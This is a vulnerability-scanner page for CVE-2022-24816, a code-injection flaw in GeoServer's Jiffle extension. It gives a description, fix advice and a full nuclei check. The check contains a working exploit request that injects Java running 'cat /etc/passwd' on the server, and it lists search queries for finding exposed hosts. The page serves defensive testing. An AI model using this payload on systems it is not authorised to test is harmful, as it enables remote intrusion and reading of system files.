GeoServer <1.2.2 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2024-06-26; known to be used by ransomware.

criticalseverity

9.8CVSS score

99.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Programs run on GeoServer before 1.2.2 which use jt-jiffle and allow Jiffle script to be provided via network request are susceptible to remote code execution. The Jiffle script is compiled into Java code via Janino, and executed. In particular, this affects downstream GeoServer 1.1.22.

Impact

Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system.

Fix

1.2.22 contains a patch that disables the ability to inject malicious code into the resulting script. Users unable to upgrade may negate the ability to compile Jiffle scripts from the final application by removing janino-x.y.z.jar from the classpath.

How to confirm it

Send: POST /geoserver/wms
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-24816 -u <target>

The full check

id: CVE-2022-24816

info:
  name: GeoServer <1.2.2 - Remote Code Execution
  author: mukundbhuva
  severity: critical
  description: |
    Programs run on GeoServer before 1.2.2 which use jt-jiffle and allow Jiffle script to be provided via network request are susceptible to remote code execution. The Jiffle script is compiled into Java code via Janino, and executed. In particular, this affects downstream GeoServer 1.1.22.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system.
  remediation: 1.2.22 contains a patch that disables the ability to inject malicious code into the resulting script. Users unable to upgrade may negate the ability to compile Jiffle scripts from the final application by removing janino-x.y.z.jar from the classpath.
  reference:
    - https://www.synacktiv.com/en/publications/exploiting-cve-2022-24816-a-code-injection-in-the-jt-jiffle-extension-of-geoserver.html
    - https://github.com/geosolutions-it/jai-ext/security/advisories/GHSA-v92f-jx6p-73rx
    - https://github.com/geosolutions-it/jai-ext/commit/cb1d6565d38954676b0a366da4f965fef38da1cb
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24816
    - https://github.com/tanjiti/sec_profile
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-24816
    cwe-id: CWE-94
    epss-score: 0.99929
    epss-percentile: 0.99969
    cpe: cpe:2.3:a:geosolutionsgroup:jai-ext:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: geosolutionsgroup
    product: jai-ext
    shodan-query: /geoserver/
    fofa-query:
      - app="GeoServer"
      - app="geoserver"
  tags: cve,cve2022,geoserver,rce,geosolutionsgroup,kev,vkev,vuln

http:
  - raw:
      - |
        POST /geoserver/wms HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <?xml version="1.0" encoding="UTF-8"?>
          <wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
            <ows:Identifier>ras:Jiffle</ows:Identifier>
            <wps:DataInputs>
              <wps:Input>
                <ows:Identifier>coverage</ows:Identifier>
                <wps:Data>
                  <wps:ComplexData mimeType="application/arcgrid"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999  316]]></wps:ComplexData>
                </wps:Data>
              </wps:Input>
              <wps:Input>
                <ows:Identifier>script</ows:Identifier>
                <wps:Data>
                  <wps:LiteralData>dest = y() - (500); // */ public class Double {    public static double NaN = 0;  static { try {  java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat /etc/passwd").getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>
                </wps:Data>
              </wps:Input>
              <wps:Input>
                <ows:Identifier>outputType</ows:Identifier>
                <wps:Data>
                  <wps:LiteralData>DOUBLE</wps:LiteralData>
                </wps:Data>
              </wps:Input>
            </wps:DataInputs>
            <wps:ResponseForm>
              <wps:RawDataOutput mimeType="image/tiff">
                <ows:Identifier>result</ows:Identifier>
              </wps:RawDataOutput>
            </wps:ResponseForm>
          </wps:Execute>

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "ExceptionInInitializerError"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from